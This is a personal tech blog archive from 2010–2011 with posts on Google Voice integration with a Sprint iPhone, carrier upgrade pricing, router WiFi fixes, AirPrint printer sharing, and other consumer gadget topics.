Monday, November 14, 2011

All I can say is thank goodness, finally… Google has announced phone-based support for its Google Apps for Business customers. Not that I need to ask for help too often (although I’ve wanted to a couple times, and the email assistance was quick enough to be useful one time), but when I do need help – I really *need* help. So, having a place to call, and a person to talk to until an issue is resolved is a good thing to have. If you’re paying for a service, you expect some form of support specific to your problem and your use of the service. So, great to see that Google is offering phone support now for people who pay for Google Apps.

One former colleague of mine pointed out that this is a good thing “only if it’s good support.” To which I responded, “One thing at a time. No option for good support until there's someone to get it from. Baby steps. Although I'm sure it's "in beta" hahah.” I mean hey, this *is* Google!

Information about accessing Google Support can be found on the Enterprise Support page. The new phone support options offered are:

Business and Education editions, 7 days a week, 24 hours a day

  • U.S. Technical Support: 1-877-355-5787
  • International Technical Support: 1-404-978-9282
  • For local international phone numbers, please visit the Support tab in your control panel.
Tip: Help us provide you with faster answers by creating a case before you call, and have your Customer PIN and case number handy.


Add/Read: Comments [3]
Tech
Monday, November 14, 2011 11:15:38 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, October 19, 2011

What if I told you that you could now have Google voice working with an iPhone’s native phone and messaging apps -- much like you can with Android -- and that you don’t have to jailbreak or install the Google Voice iOS app to do it? Yep. Read on!

Last week I ordered an iPhone 4S from Sprint. That’s my carrier since I left AT&T well over a year ago, and I’ve been a Android user on Sprint since I made the move. But before that I was an avid iPhone owner, happy with the phone and reluctant to drop it. But AT&T woes finally forced my move. Now, for the record I like Android. One of the great benefits of an Android phone for me over the past year has been the fact that the Google Voice service can be built right in, native to the phone. For those not familiar, Google Voice (lots of info is available here) is a service that gives you “one phone number for life.” You give that one phone number to people, and that numbers is used to ring all your phones – cell phones, home phones, work phones, whatever – in whatever manner and schedule you choose. If you switch providers and get a new cell number or iphone4s-1home or work number, no worries. Just update your Google Voice account with your new or additional numbers, and you main GV number that you give out to everyone will ring the new ones, presto zappo bango. Google Voice also provides text messaging services and voice mail, accessible on a mobile phone via mobile web or a smartphone apps, as well as through a web browser on your laptop or desktop computer.

For quite some time an iPhone app has been available that one can install on the phone, which allows you to place calls, send text messages and get voicemail from your Google Voice account. But you have to do all of those things in the Google Voice app. So, it’s a little clunky – think of it as an extra, non-default phone dialer and text messaging app that sits alongside and kind of duplicates the purpose of your iPhone’s native dialing and messaging apps. In other words, to use Google Voice on the iPhone with the app, you have to use your iPhone differently.

But – thanks to Sprint and the fact that they now have the iPhone 4/4S in their inventory – we no longer need to use the Google Voice iPhone app and can get practically full functionality, using the apps that are native to the iPhone.

Problem? Solved!

Earlier this year, Sprint and Google announced they were joining forces (loosely) and providing the ability to integrate your Sprint wireless account with Google Voice in a manner that would allow you either to use your existing GV number as your mobile number, or alternatively to use your existing Sprint phone number as your Google Voice number. When you set the service up that way, Google Voice becomes your voice mail system and you get all the messaging and calling benefits of Google Voice, too. And, it works with all Sprint-branded mobile phones, not just Android – which is a real differentiator vs. the other wireless carriers.

The beauty of it all: You can set up Google Voice integrated with your Sprint account to both send and receive phone calls and text messages from the native iPhone app interfaces, without the need to jailbreak your phone to install third party apps/hacks, and without the need to install the Google Voice iOS app. People you call or send a text message to will see your Google Voice number in caller ID or as the message sender. Voice mail access works a little differently, but we’ll cover that in a bit.

google-voice-cartoon-logoFor discussion purposes to try simplify things, I’m going to refer to this integrated-Google-Voice-Sprint-Account customer experience as “Sprint Integration” for the remainder of this post.

It’s also probably worth pointing out that there are a couple of practical limitations (which are in no way related to the iPhone) that some people run into when setting up their Sprint Integration.

  • First of all, if you have a Sprint calling plan that is business-liable (as opposed to a personal phone account), the integration is not supported or enabled. Some individual Sprint customers own their own phones and pay their own bills, but because they got an employer’s corporate discount or similar situation their account is actually flagged as a business account. That should be pretty simple to fix in most cases with a call to Sprint customer service. But just know that actual business accounts are not eligible.
  • In addition, if you’ve set up phone call or SMS blocking or filtering through Sprint, you won’t be able to integrate your line with Google Voice until you disable those features in your Sprint account -- but note that Google Voice can usually enable you to do effectively the same thing.

So, how do I make this work?

It’s actually pretty simple. I won’t go into every single detail here, but I will cover the basics. I’m going to assume you can set up a Google Voice account, and if you need more information use the links above to learn everything you need to know.

Okay. First of all, there are a few things you need to make this work:

  1. An iPhone 4 or 4S provided by Sprint (no, this process can’t and won’t work with an AT&T or Verizon iPhone).
  2. A Sprint plan that is not a corporate/business plan. Family plans are fine, as long as they are not a business-liable plan.
  3. No call or text blocking/filtering configured in your Sprint account.
  4. A Google Voice account (they’re free) that has a phone number already assigned (in other words, not just the GMail-based “Google Voice Lite” thing – upgrade if necessary).
  5. About 15 to 30 minutes of free time.

To start, once you have logged into your Google Voice account, you’ll need to go to the Settings menu (by clicking the gear icon on the GV screen, over in the upper right area). Then navigate to the “Phones” section of the Google Voice settings. Here you’ll see any forwarding phones you’ve already set up in Google Voice.

A side note: If you already have another Sprint phone line set up in Google Voice with Sprint integration enabled, you cannot set up a second Sprint-integrated line on the same GV account. That’s not really documented anywhere, so I found this out the hard way since my Android phone was already fully integrated before I got my iPhone. So, when I added the iPhone to my Google Voice account I wasn’t even given the option to enable the Sprint integration. What this means is that if you already have one Sprint phone integrated, you’ll either need to disable the Sprint integration on that line or use a different Google Voice account to set up your new Sprint number on. I had troubles deactivating the Sprint integration on my Android phone, so had to search down help from both Sprint and Google so it could be manually deprovisioned. Hopefully you won’t run into that problem - but let me know if you do and I will try to point you in the right direction…

If the Sprint number you want to integrate has not already been added to your configured phones in Google Voice, you’ll need to do that now: At the bottom of the list of configured calling devices (phones, GMail chat, etc.) is a link you can click to “Add another phone.” Follow the simple instructions, enter the codes it promts you to use, and in a minute or three you’ll have your Sprint mobile SprintIntegrationGoogleVoicephone number set up and working in Google Voice is basic mode. You’re not completely done yet, but you’re close. For now, make a call from another phone to your Google Voice number and validate that your newly-added phone rings, just to verify everything is working properly. Remember: Test often, and at each step. It’s a good habit to get into when it comes to “mashing up” multiple computer/technology systems.

Next, take a look at the entry for your iPhone in the GV Phones list (in Settings). You should find a Sprint logo on the screen, next to the nickname you gave your iPhone phone, as well as a link that says “Check eligibility for Sprint integration.” Click on that link.

You’ll need to choose between the two available options: Do you 1) want your Sprint mobile number to become your new Google Voice number, or do you 2) want to replace your Sprint mobile number with your GV number? If everyone has and knows your Sprint phone number, then you can choose option one, so you don’t have to distribute a new phone number to everyone. But, if you’ve already given your Google Voice number out to people who need to reach you, you’ll choose option two like I did. The net effect of that choice in the end will be that when you place calls and send messages from your Sprint phone, the recipient of the call or text message will see your Google Voice number in Caller ID and on the text message. And that’s really the point.

So -- Make the choice appropriate for your situation, then wait patiently for several seconds while the Google Voice communicates in the background with Sprint. Before you know it both companies’ systems will be provisioned to handle your calls all mash-up-cyborg-app style. If successful, you will see a message that tells you:

Your Sprint number, (000) 000-0000 is now integrated with Google Voice.
Calls and text sent from this phone will display your Google Voice number.
Your Sprint voicemail has been replaced with Google voicemail.
International calls from this phone will be placed through Google Voice.

Now you’ll probably want to set up a voice mail greeting in Google Voice if you don’t already have one (or just use the generic default if you prefer (yuck)).

Testing, testing…

Your next step should be to place a phone call to a number that’s not attached to a Google Voice account (like a friend’s cell phone) and verify that the caller ID shows the correct number.

Next, make sure “Receive text messages on this phone” is checked in the Google Voice setting for your line, and then send a text message to a non-GV phone to make sure it’s sent using the correct number.

Note: It’s actually important to use non-Google-Voice phones for these test calls and text messages, since GV can recognize when one GV enabled phone is communicating with another GV number, and will sometimes try to be “helpful” and modify the normal process of displaying Caller ID data.

Success!

If the proper phone number is displayed on calls and text messages sent from the iPhone native Phone and Messages apps, and if your iPhone rings when someone calls your Google Voice number, you’re all set!

What about voice mail?

The only thing that won’t work natively in the iPhone apps in this configuration is visual voice mail. Since the iPhone’s visual voice mail app doesn’t recognize Google Voice from the voice message perspective, you have a couple choices here:

  1. Configure Google Voice in your browser to email you link to any voice mails (on the Voicemail & Text tab in Settings), and/or
  2. Check the box in the list for your integrated phone (on the Phones tab in Settings) to enable Google Voice send you a text message when a new voice mail is received

Compatibility, continued…

This integration works – as I started to explain earlier – with any “Sprint branded” phone. That doesn’t mean phones that have a Sprint logo painted on them, but rather refers to phones provided under contract by Sprint that operate on the Sprint CDMA network (not Nextel, nor the other carriers that piggyback on Sprint’s network). And, just to be clear one last time, Sprint is the only current service option for native integration of Google voice on an iPhone as described here. So, if you have AT&T or Verizon, sorry pal… No native app integration for you, at least not yet. You’ll just have to use the Google Voice iOS app, which you can download free from the Apple App Store.

And honestly -- If you’re thinking about getting an iPhone 4 or 4S and are leaning toward Verizon or AT&T – stop and consider this:

  • Sprint’s mobile service costs less than both Verizon’s and AT&T’s
  • Sprint’s plan actually allows unlimited data usage, while Verizon’s is capped – as is AT&T’s
  • When Sprint customers roam, it’s free of charge – and it’s on Verizon’s network (!)
  • Dropped calls? Not in my experience, which is a far cry from what I dealt with on AT&T…
  • Did I mention Sprint’s service costs less?

So – lower cost, you get to use the other guy’s network for free when needed, and no data caps. Sure, download speeds *might* be marginally slower here and there (and even that’s a debatable point), but there’s one more benefit you should know about: Sprint lets you sign up, get the phone and service, and try it our for 14 days. If you don’t like it, cancel your service and return the phone in good and complete condition where you bought it, and you’ll walk away with a refund for the price of the device and any early termination fee you paid. You will pay for the service you used and probably for the activation fee as well (unless you cancel service within the first 3 days), but nothing more.

If I sound like a Sprint commercial, trust me - I’m not. I’m just a customer that likes my wireless provider – and for what it’s worth, I’m a pretty darn picky customer.

Got questions about the Sprint iPhone integration with Google Voice? Post them in the comments and where it makes sense, I’ll update this post with details I may have missed. And be sure to share your iPhone integration success stories as well!



Add/Read: Comments [0]
Android | Apple | Google Voice | Mobile | Tech
Tuesday, October 18, 2011 11:40:31 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, October 13, 2011

Siri is coming to the iPhone 4S on Friday, and already people are starting to discover the Apple virtual assistant has a but of a sense of humor.

To chronicle and record for humorous posterity all the unusual, funny, shocking or otherwise interesting crap Siri comes up with, I have created Darn Your Siri - http://www.darnyousiri.com - where anyone can post their funny Siri screenshots there, too - just go to the submission page. That name seemed a little less inappropriate than something like "shit Siri says" but I see that's also a site someone fired up. Of course they did! :)

To take a screen grab of any iPhone screen, hold down the home/round button while at the same time clicking teh power/sleep/wake button on top. The resulting screen grab JPG file is saved in your photo gallery on the iPhone.

I'll be seeing what all Siri has to say soon, when my phone arrives from Sprint on Friday.



Add/Read: Comments [0]
Apple | Humor | Mobile | Tech
Thursday, October 13, 2011 6:19:07 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, October 08, 2011

Google has released a Chrome Browser add-on called Chrome Remote Desktop Beta that allows two computers running Chrome to be connected to so person can control the other person's computer. For those of us who occasionally need to connect from, say, your place in Portland Oregon to a computer in Boulder Colorado to troubleshoot a certain family member's computer issues, this is a simple and workable method. Of course, many of the tech-support requests are actually efforts to get you to visit your mom, so keep that in mind. But I still think you might find this new capability helpful. It allows any computer running Chrome - regardless of the operating system - to connect to any other computer running Chrome. So your Windows computer can control a Mac or Linux machine or vice-versa.

Chrome Remote Desktop Beta Access Code

You can set it up and get started in just a few minutes. First, you need to have the Chrome browser on both ends of the connection, your computer and the one you want to connect to. Next, download and install the Google-created extension. One you complete that step, you'll find a Chrome Remote Desktop Beta icon in your browser window. When you run it the first time, it will propt you to grant some extra permissions, which are required for it to work.

The next step is to share your computer, or alternatively to connect to another shared computer. Both options are available to the user. If you choose to connect to a shared remote computer, you'll be prompted to enter a numeric code that is generated when the person on the other end of the line starts the sharing process. The "sharer" just provides the one-time code generated by the app to the person who needs to remotely connect. Access codes are good for just that one session, which helps ensure security.

This is the initial release. Google's description of the browser app:

Chrome Remote Desktop BETA is the first installment on a capability allowing users to remotely access another computer through the Chrome browser or a Chromebook.

 

The goal of this beta release is to demonstrate the core Chrome Remoting technology and get feedback from users. This version enables users to share with or get access to another computer by providing a one-time authentication code. Access is given only to the specific person the user identifies for one time only, and the sharing session is fully secured. One potential use of this version is the remote IT helpdesk case. The helpdesk can use the Chrome Remote Desktop BETA to help another user, while conversely a user can receive help by setting up a sharing session without leaving their desk. Additional use cases such as being able to access your own computer remotely are coming soon.

 

Chrome Remote Desktop BETA is fully cross-platform, so you can connect any two computers that have a Chrome browser, including Windows, Linux, Mac and Chromebooks.



Add/Read: Comments [1]
Tech
Saturday, October 08, 2011 8:27:55 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, October 07, 2011

Can I cancel my current Sprint account/plan and get a new iPhone 4S?

There's this new iPhone coming out - the iPhone 4S. Maybe you heard about it? Pretty nice device, really. I had iPhones exclusively for a few years from the time Apple came out with them - the original model and then the 3G. I never took the 3GS leap.

But a year and a half ago I fired AT&T out of frustration over continued poor service and moved over to Sprint. That meant I had to give up my iPhone, since AT&T was still the exclusive iPhone carrier. It also meant I never picked up an iPhone 4 model, other than the few times I made a call from a friend's phone. Instead I moved to an Android device, the Evo 4G (which I like, by the way).

Now, let me say up front that I'm not sure if I really want to make a change back to the iPhone right now. The Android phone actually works pretty well for me, as far as the OS and phone itself are concerned. Frankly, I rarely use the 4G capability of the Evo, mostly because of the limited and often spotty 4G WiMax service. But when it works, it works pretty well. Since I made the move away from AT&T a year and a half ago, Verizon - and starting next week Sprint - have added the iPhone to their lineups. I miss some of the capabilities and features I used to get with the iPhone, especially when it comes to app integration between the Macbook, iPad and the iPhone for my aviation-related apps, which get a lot of use between the iPad and Mac these days.

So, I decided to check and see what I'd have to shell out, should I decide I wanted to move to a new iPhone 4S on my Sprint account. The problem I foresaw was that I'm about six months away from the end of my current two-year contract. So, when logging into sprint.com the system told me I'd have to pay full price to order a new iPhone 4s today. Of course, it also informed me I could wait 176 days for upgrade eligibility, and then get $150 off the full price. The rather alarming full prices are:

  • 16GB iPhone 4S   $649.99
  • 32GB iPhone 4S   $749.99
  • 64GB iphone 4S   $849.99
  • 8GB iPhone 4 original   $549.99

Ouch.

So, I can pay full price now or $499 for a 16GB model in 6 months (more for the larger models). I would guess (but am not certain) that at that time I might be able to also sign a new 2-year contract with Sprint and get an additional $200 off, which would theoretically put me at $299 for the 16GB model with a fresh two-year Sprint contract lock-up. Or is the $150-off-list- price deal dependent on a 2-year deal as well? I will have to ask about that. Either way, I'm at least $100 more than the prices announced the other day (which require a contract)

Next I checked with Verizon, thinking maybe I could just cancel my Sprint service and go over there right away to get the subsidized price with a new two-year contract and not have to wait. Their prices were much more reasonable - and less than I'd pay at Sprint even if I waited for six more months and took the deal I already mentioned. Verizon's new account prices are: $99.00 for the original iPhone 4 and $199/$299$/399 for the new 4S models (also the same prices Sprint offer's it's new customers)

I don't really want to cancel my Sprint service: I get (truly) unlimited data and messaging on Sprint - and you don't get that on the other carriers (there tends to be a 2GB limit). I have a family plan, which allows me to share minutes between two lines, free evenings and weekend, free calls to any mobile phone, and more. Plus their service has been great for me, and when I roam it's free and it's on Verizon's network. I basically get the best of both worlds network-wise. Oh, and the monthly price is right, too. I like Sprint.

Out of curiosity, I logged back into my sprint.com account for another look, and decided to see what it would cost to add an additional line to my existing Sprint family plan and get a new iPhone that way. Maybe that would be cheaper? Ahh, what do you know - The site showed I could do just that and get the same two-year-commitment pricing as Verizon offered. Now we were getting somewhere!

But I don't need or want two phones or two numbers. So finally I called Sprint and asked the helpful support rep what would happen if I *added* a new number and additional line of service to my existing family plan account (a third line costs $19.99 a month if I add it and share the pool of minutes I'm already paying for). My real question was this: Could I then immediately cancel my original number/phone/service from the family plan?

"Sure you can do that," he said. I'ld have to pay a $90 early termination fee balance for the existing line (it's prorated from the original $200 fee (which Sprint recently increased to $350)), and they'd move my existing Sprint number to the new iPhone, too if I wanted. The Sprint rep even put me on hold and took the time to verify with management that was okay to do. Oh, and if I want they'll purchase the used Evo 4G through their buy-back program and credit me $87 for it - which would pretty much negate the $90 early termination fee. Alternatively I could sell the Evo 4G to someone else if I wanted. Either way, it's not a bad deal. And the $19.99 a month fee for the third line would go away as soon as I cancelled the original line, too.

So, based on what the Sprint rep told me it's doable - and fairly reasonable. They recover their costs through the balance of the early termination fee, and get a subscriber locked in for an additional two years (and the early-termination fee for the new phone would be $350.00). If I want, I can get an iPhone 4S without having to pay $650-$850 for the privilege. Sometimes all you have to do is ask the right questions.

Not sure yet if I'll actually decide to get an iPhone 4S. I'd have to think carefully about what I'd lose in the process, app-wise. One big red flag is that I use Google Voice exclusively for calling and text messages, and it's all Frankenstein-style-built-in on Android natively via the Google Voice app. Not so much on iPhone. Update: I picked up a Sprint iPhone and was able to pretty much fully integrate Google Voice without having to use the Google Voice app, full information here.

So that's one important trade-off to consider, along with the change Sprint made on September 9th: They now charge a $350 termination fee (the same as Verizon and AT&T) that's pro-rated depending on the number of months left on a subscriber's contract. But regardless, it's good to know that if one wants to make the move, it appears there's a reasonable way to do it.



Add/Read: Comments [3]
Android | Apple | Mobile | Tech
Friday, October 07, 2011 3:45:35 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, July 21, 2011

I've been chasing my tail lately with an older MacBook Air laptop that simply would not reliably connect to the WiFi router provided to me by my ISP, Qwest. The ZyXEL PK5000Z router is a combo DSL modem and wireless router.

The strangest part of the issue was that while non-Apple hardware would connect to the router just fine, all of my Apple devices had issues, varying in nature. The iPad would connect but the connection was flaky at best and sometimes would just hang. My MacBook Air would rarely connect to the WiFi network, and when it did connect it would almost always not be able to get any network traffic to pass. When traffic did start to move on rare occasion, it would burst and then quit. Every non-Apple device, from Windows machines to PlayStation to WiFi-enabled TV to smartphones, etc. worked fine. Just the Apple stuff failed. I was partially assuming the old MacBook Air was to blame - It's been dropped on its head a few times and has been through the ringer. It's pretty worn out.

Then today I got a brand-new model MacBook Air (more on that later perhaps). I expected it to work but when I got home, it was just more of the exact same issue. Ugh. Not good.

I tried a number of things to try to fix the problem. I turned off UPnP and set up a wireless network with no security or encryption, but the results were the same. So I called Qwest to see if someone there had any ideas. I have to admit that based on past experience, I didn't have high hopes. But, I spoke with a guy who asked me to change my router to force it to use channel 11 on the WiFi radio. I was quite surprised when - after changing the channel and forcing the router to use just that channel, the Apple computers and iPad starting working just fine.

So, if you happen to have issues getting your Apple computer, iPad or iPhone or other device to connect to the PK5000Z router, give WiFi Channel 11 a try. It might just work. The PK5000Z wireless radio setup page is probably located here, but if that link doesn't work just browser in your web browser to 192.168.0.1 and then click on Wireless Setup, and then in the left side menu click on Radio Setup. Next, the radio is set to Auto Detect for the channel default setting, Change that to Channel 11. Make sure the power setting is set to Full and scroll down to click the Apply button. That's it!



Add/Read: Comments [4]
Apple | Tech
Thursday, July 21, 2011 9:45:45 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, January 25, 2011

I’ve been a Google Voice (and before that GrandCentral) user for a few years now. It’s a terrific service that provides One Phone Number to Rule Them All, so to speak. You can associate multiple different phone accounts (land, mobile, satellite, whatever suits you) with one Google Voice number and can change them at any time. So, anyone can dial or send text messages to your Google Voice number, and you control which phones ring and when, and where your text messages go.

Today Google announced that they are offering a service for $20 that allows you to port your existing mobile phone number to Google Voice, which means you can start using GV without having to take on a whole new phone number. That’s a great thing when you want to avoid the hassles of getting people to start using a new number.

But there are a few things you should know before you make this move, so you can be sure it’s for you.

Google Voice supports most – but but not all – of the features you have on a typical mobile/smart-phone plan. Certainly you will be able to receive calls, get voice mail, and send/receive text messages (especially on Android with the awesome GV app).

There are, however, a few common mobile features that are not supported by Google Voice:

  • Multi-media Messaging Service (MMS): If you like to send video, picture or audio messages to your friends and family, Google Voice can’t do this. I regularly have to tell people trying to send me their video or picture to send it to my email or my actual cell phone number provided by the carrier (which I don’t give out – that would defeat the whole purpose of Google Voice). So, if MMS and one number if critical for you, you should wait until GV gets around to supporting this.
  • Calls to your Google Voice number are not counted as calls to a mobile number for the purpose of mobile carrier call plans. So mobile-to-mobile minutes won’t get accounted for in the same way.
  • With a couple of exceptions, calls you make from phones attached to you Google Voice account will not show up on called ID as having come from your Google Voice number. The exceptions to this are when calls are initiated through the GV web app (in which case Google’s systems dial you up on your phone then connect you to the person you’re dialing) and a few of the GV mobile apps like the ones for Android and iPhone. The Android app actually builds itself into the Android OS’ dialing system and it’s truly seamless. On the iPhone you need to dial using the Google Voice app.
  • For text messages to be sent to mobile phones and for them to appear as coming from your GV account phone number, they need to be sent through the GV service, too. This means using the Google Voice interface on Android OS (which you can set as your text messaging default, by the way), via the iPhone app, etc., or from the most useful Google Voice web app interface mentioned earlier. I use the web app all the time for text messaging from my computer browser. But it’s different, so you need to realize that.
  • Text messages sent by applications and to/from short message codes (like Skype, your bank, etc.) don’t work.

That said, Google Voice is a terrific service that lets you have one phone number that can ring and deliver messages across several other phones. I use two Google Voice numbers – one I give out as my home phone and the other is for work calls. If I am working from my home office, both numbers cause my home phone to ring, but no one actually knows the number of my home phone – they just know the GV number that I gave them. If I move or far whatever reason change hone phone or work or cell phone numbers, I don’t have to worry about telling anyone. I just change the associated numbers in my Google Voice account. If I am on vacation somewhere across the country for a few days and want calls made to my home GV number - but only from my family members - to ring a phone number at my friend’s house, but only after 8am and before 11pm, and not during the next two hours because I want to get a nap… Google Voice can do that for me, too. It’s really quite powerful and easy to set up.

You can set schedules for different phones, and having a complete history of every call, voice mail and text message available in the browser app is really very nice. If any of the phone numbers associated with the different phones you have connected to your GV account and number should change in the future, there’s no need to tell the world. The people you know can just keep dialing your GV number, and in the background you can change that number that AT&T gave you back in the day when you got your first iPhone and point it at your new Verizon number. Hey, I’m just sayin’...

More information about porting numbers and Google Voice in general can be found at:



Add/Read: Comments [1]
Android | Apple | Mobile | Tech
Tuesday, January 25, 2011 1:43:25 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, January 12, 2011

Earlier today, I was working in my home office and using my iPad alongside my computer. I started a download to update some app data on the iPad, which was fully charged at the time, and went back to my computer to do work-related stuff.

A couple hours later I went back to the iPad and pressed the home button to try to wake it up, with no response. I tried the wake/sleep/power button, same lack of response. Thinking it might be a dead battery (but wondering how that could happen in such a short period of time) I plugged it into the charger and left it there. Normally that would result in some screen activity if the battery had died, but after a couple hours on the charger the iPad was still dead.

After several minutes of futzing around with the iPad on and off the charger, and pushing every button on the iPad, I remembered a button combination that's used to execute a power reset and boot the iPad into recovery mode.

So, I did that combo, holding the Power/Sleep and Home buttons down at the same time for around 15 seconds while the iPad was on the charger. Sure enough, the iPad restarted and fired right up normally. It had a partial charge (about what you'd expect for the amount of time it had been running on battery before it died) and WiFi was disconnected, but after reconnecting to my WiFi network things were all back to normal.

Hopefully this saves someone a trip to the Apple Store or a call to the fine folks at Apple Support.



Add/Read: Comments [4]
Apple | Mobile | Tech
Wednesday, January 12, 2011 7:53:39 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, November 23, 2010

Yesterday I wrote about how I enabled my MacBook Air to share a wireless laser printer in my home office so I could print to it using the new Air Print feature in iOS 4.2 on the iPad. That works great, but since my MacBook is only *almost* always on, I started thinking about other options. I have a first –generation (Power-PC-based) Mac Mini in my living room that basically doesn’t get used at all, but I don’t think OS x 10.6.5 is really an option for that. So, I turned my attention to the other always-on computer in my home office, the HP MediaSmart Home Server.

airprint_services I wondered to myself, has anyone come up with a way to share printers accessible from a Windows computer with AirPrint-capable iOS devices? And, sure enough, someone has already done just that. The short tutorial covers Windows workstation versions (XP, Vista and Win7), but the instructions apply to Windows Home Server and other flavors of Windows Server, as well. My Win Home Server is based on the Server 2003 OS.

I’m going to add to a couple of the original steps here, since there are a few things I did that were not included in the instructions on the original post.

First of all, you need printer drivers installed for the printer you want to share on the system. You may not have printers already installed and shared on your Windows Home Server. To do this, you can make a Remote Desktop connection to your WHS  machine, and from there follow the standard steps to set up a local printer. In my case, I downloaded the Brother printer drivers and set up the network printer and printed a test page from the WHS machine to make sure it was working properly. Next, I followed the instructions on the port referenced earlier, and then I enabled sharing on the networked printer.

The first time I connected to the printer, a little padlock icon appeared on the iPad (see beow), indicating a Windows account user name and password were required to access the shared printer. This, of course, can be controlled and changed on the Windows computer in the printer sharing security preferences:

     print_locked

After entering the account information, the printer was accessible and printing of various content (text, graphics and photos) worked flawlessly. One big difference I noticed between sharing the same printer through Windows vs. the Mac is that when connected via the Windows AirPrint share, an option for double-sided printing appeared. That option is missing when connecting to the same printer shared via the Mac. Here’s the Windows-connected printer options as seen on the iPad:

     print_windows

So, I now have my laser printer shared across all devices on my LAN, including iOS 4.2, via the Windows Home Server, no extra charge!

Related Links:

 



Add/Read: Comments [7]
Apple | Home Servers | Tech | Windows
Tuesday, November 23, 2010 11:27:43 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, November 22, 2010

UPDATE: Check out my new post that describes how to enable the AirPrint support for Windows shared printers, including on Windows Home Server.

photo I was pretty excited, based on reports in the community in the past about being able to print from my iPad in the new iOS 4.2.1 operating system via my Mac computer. My WiFi laser printer in my home office is a good printer, but it certainly is not Airprint enabled. So leveraging my MacBook (which is pretty much always up and running) was to be a good option for me.

But, alas, iOS 4.2.1 is here, and OS X 10.6.5 is installed and running on my MacBook (after some troublesome issues that finally got resolved)… But it looks like Apple removed the Airprint capability from the 10.6.5 release of OS X. It was in the beta versions, but not in the version they finally released.

Lifehacker has a brief article describing how to manually enable Airprint support in 10.6.5, so you can share your non-Airprint printers with your iOS 4.2 devices via your Mac.

In a nutshell, you just do this:

  • Download a few files (which are pulled from the OS X beta)
  • Copy them to a couple of specific locations (described in the linked site, above)
  • Remove your printer from the system
  • Restart your Mac
  • and re-add your printer, and share it

IMAG0233aOf course, this is not a supported configuration and undoubtedly there is some very real reason why it was not included in 10.6.5, so your mileage may vary should you decide to try it.

For those who may not want to break open the Terminal app in OS X, someone also built a quick Mac App called Airprint Hacktivator that you can run, which will allow you to automagically install the proper files and configure the OS.

Again, your mileage may vary. But I can tell you, it worked for me! I used the Hacktivator app and didn’t even have to restart my computer. I ran it, removed the old shared printer and re-added it, and instantly my iPad “saw” it and was able to print.

So, I’m now printing from my iPad, via my MacBook Air on the WLAN, to my office laser printer. Pretty slick, and a nice feature to have. No more emailing links and copy/paste content to one of my other computers in order to print things I find or need from the iPad.

UPDATE: There's apparently also an option out there to enable the Airprint support on Windows. I may have to take a look at that one and see if it will work on my Windows Home Server, which is quite literally *always* on, as opposed to my Macbook, which *almost* always on...

If you’re interested in what else is available in iOS 4.2 for the iPad, I suggest you check out the Lifehacker review and video.



Add/Read: Comments [0]
Apple | Geek Out | Mobile | Tech
Monday, November 22, 2010 1:52:32 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, October 26, 2010

imageToday marks the release of Office 2011 for the Mac, as described in the official release notice. And in a new feature twist, the software is also available for download to BizSpark (startup program) MSDN subscribers as of this morning. Typically Mac-based software has not been made available there, so this is a pretty cool change.

It’s available to people with membership at the following programs and levels:

  • VS Pro with MSDN Premium (Empower)
  • VS Premium with MSDN (MPN)
  • VS Pro with MSDN Premium (MPN)
  • BizSpark Admin
  • BizSpark
  • VS Ultimate with MSDN (VL)
  • VS Premium with MSDN (VL)
  • VS Premium with MSDN (Retail)
  • VS Ultimate with MSDN (Retail)
  • VS Ultimate with MSDN (MPN)

Of course, use is governed by your subscription license limitations and terms of use, so make sure you know what those are.

Why Office 2011 for the Mac?

There are a few reasons why you might be interested in Office 2011 on the Mac, but for me the number one reason is the brand new Outlook 2011. No more Entourage software, now we get the actual Outlook experience, which is enough for me to upgrade with no other changes in the suite. Add in all the other changes, and it’s a pretty slick new version.

Mac user? Are you going to get Office 2011?



Add/Read: Comments [2]
Apple | Microsoft Office | Tech
Tuesday, October 26, 2010 3:41:27 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, September 08, 2010

I just got off the phone with Amazon, and they're sending an overnight box with a replacement Kindle 2 for the one I have. I hadn't used it for a few months, and when I recharged it and powered it up the other day, the screen had a whole section that was broken, displaying gray and garbled info.

So, with one quick call to customer support, a very brief set of troubleshooting questions they are sending a replacement. Great service, no wasted time and I'm one happy customer.

A friend's son is about to deploy with his company to Afghanistan, so my plan is to package up the new one when it arrives tomorrow and send it to them so he can take it with him when they go. I use the Kindle app on my iPad these days, so it will be cool to know that someone will be making good use of the one I'm not using.

Anyone else had Kindle display failures? Is this common at all?



Add/Read: Comments [3]
Tech
Wednesday, September 08, 2010 4:49:25 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, June 21, 2010

I've recently run across a number of great resources while researching my Sprint EVO 4G phone, which runs the Android operating system and is quite tweakable.

One of the top resources I've found is called Good and EVO, a blog that answers in patient detail lots and lots of great questions. Anyone who has the device and doesn't know where to start but wants to learn about the phone and how to make it really work should read through all the articles on the site. It's very well-written and contains a wealth of information and links. Check it out at http://www.goodandevo.net/.

Another excellent - and more technical - resource is the xda-developers Android Development forum for the EVO 4G phone. Uber-geeks will rejoice in all the slang and tech jargon being slung around the walls of these rooms. Of particular interest for people getting started hacking on the EVO is "rooting" the device and installing customer ROMs (images of the operating system packages). Check out the EVO Helpful/Popular Threads topic for links to the basics, and check out the broader forum for lots and lots more. The forum can be found at http://forum.xda-developers.com/forumdisplay.php?f=653.

Other good resources to list?



Add/Read: Comments [2]
Android | Mobile | Tech
Monday, June 21, 2010 8:51:46 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, June 20, 2010

Facebook is huge. It serves hundred of billions (literally) of pages a month, and 1.2 million photos every second. Wow. It's generally considered the world's largest web site. I'm waiting for an episode of Build it Bigger to air talking about Facebook, but I doubt they'll do it. Software scaling is hard to show in TV (but data center pictures are exciting to some, I suppose).

Operating software, databases and infrastructure at Facebook scale is a massive and complicated undertaking, and they actually do a lot of it on open-source software.

Pingdom takes a look at how Facebook does it, and describes some of the open-source technology the company leverages, in an interesting article called The Software Behind Facebook. It's worth reading.



Add/Read: Comments [0]
Random Stuff | Tech
